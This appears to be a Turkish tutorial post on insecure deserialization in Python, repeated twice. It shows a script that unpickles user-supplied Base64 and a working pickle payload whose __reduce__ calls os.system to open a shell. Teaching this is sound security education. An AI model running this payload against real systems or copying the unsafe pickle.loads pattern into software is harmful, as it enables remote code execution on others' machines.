Merhaba, bu yazıda Insecure Deserialization açığını temel seviyede elimden geldiğince anlatmaya çalıştım. Eğer yanlış anlattığım yer ya da eksiğim varsa lütfen belirtin. Ancak bu açığı anlatmadan önce serialize ve deserialize işlemlerinin ne olduğunu bilmemiz gerekiyor.
Serialization: Bir nesneyi depolamak ya da iletmek için bir formata dönüştürme işlemidir. Bu format JSON, XML ya da binary olabilir. Ayrıca bu veriler genellikle web uygulamaları için kullanıcının cookie değerinde saklanır.
Deserialization: Serialize edilmiş veriyi alıp orijinal nesneye geri dönüştürme işlemidir. Bu işlem verinin tekrar kullanılabilir olmasını sağlar.
Insecure Deserialization: Bir uygulamanın kullanıcıdan alınan veriyi doğrulamadan deserialize etmesi ve içinde zararlı komutları çalıştırmasıdır.
Bu zafiyeti popüler olduğu için Python dili üzerinden anlatacağım. Aşağıda paylaştığım kod, bu zafiyeti içeren bir Python uygulamasıdır:
Gördüğünüz gibi, kullanıcıdan Base64 veriyi alıp deserialize ediyor ve bu zafiyeti sömürmek için aşağıdaki kodu kullanacağım:
Bu kodda gördüğünüz gibi, bir nesneyi serialize edip ardından Base64 encode eder ve ekrana yazdırdığı Base64 kodu deserialize edilirse bir sh kabuğu açar.
Daha fazla bu tarz zafiyet okumak için şu adrese gidebilirsiniz: CVE - Search Results
Ayrıca metindeki yazım ve imla hatalarını düzeltmek için ChatGPT kullandım.
Serialization: Bir nesneyi depolamak ya da iletmek için bir formata dönüştürme işlemidir. Bu format JSON, XML ya da binary olabilir. Ayrıca bu veriler genellikle web uygulamaları için kullanıcının cookie değerinde saklanır.
Deserialization: Serialize edilmiş veriyi alıp orijinal nesneye geri dönüştürme işlemidir. Bu işlem verinin tekrar kullanılabilir olmasını sağlar.
Insecure Deserialization: Bir uygulamanın kullanıcıdan alınan veriyi doğrulamadan deserialize etmesi ve içinde zararlı komutları çalıştırmasıdır.
Bu zafiyeti popüler olduğu için Python dili üzerinden anlatacağım. Aşağıda paylaştığım kod, bu zafiyeti içeren bir Python uygulamasıdır:
Kod:
import pickle
import base64
base64_input = input("Base64 kodunu girin: ")
byte_data = base64.b64decode(base64_input)
data = pickle.loads(byte_data)
print("Deserialize edilen veri:", data)
Gördüğünüz gibi, kullanıcıdan Base64 veriyi alıp deserialize ediyor ve bu zafiyeti sömürmek için aşağıdaki kodu kullanacağım:
Kod:
import pickle
import base64
import os
class code_execution:
def __reduce__(self):
return os.system, ("sh",)
object = code_execution()
pickled = pickle.dumps(object)
encoded = base64.b64encode(pickled)
print(encoded)
Bu kodda gördüğünüz gibi, bir nesneyi serialize edip ardından Base64 encode eder ve ekrana yazdırdığı Base64 kodu deserialize edilirse bir sh kabuğu açar.
Daha fazla bu tarz zafiyet okumak için şu adrese gidebilirsiniz: CVE - Search Results
Ayrıca metindeki yazım ve imla hatalarını düzeltmek için ChatGPT kullandım.



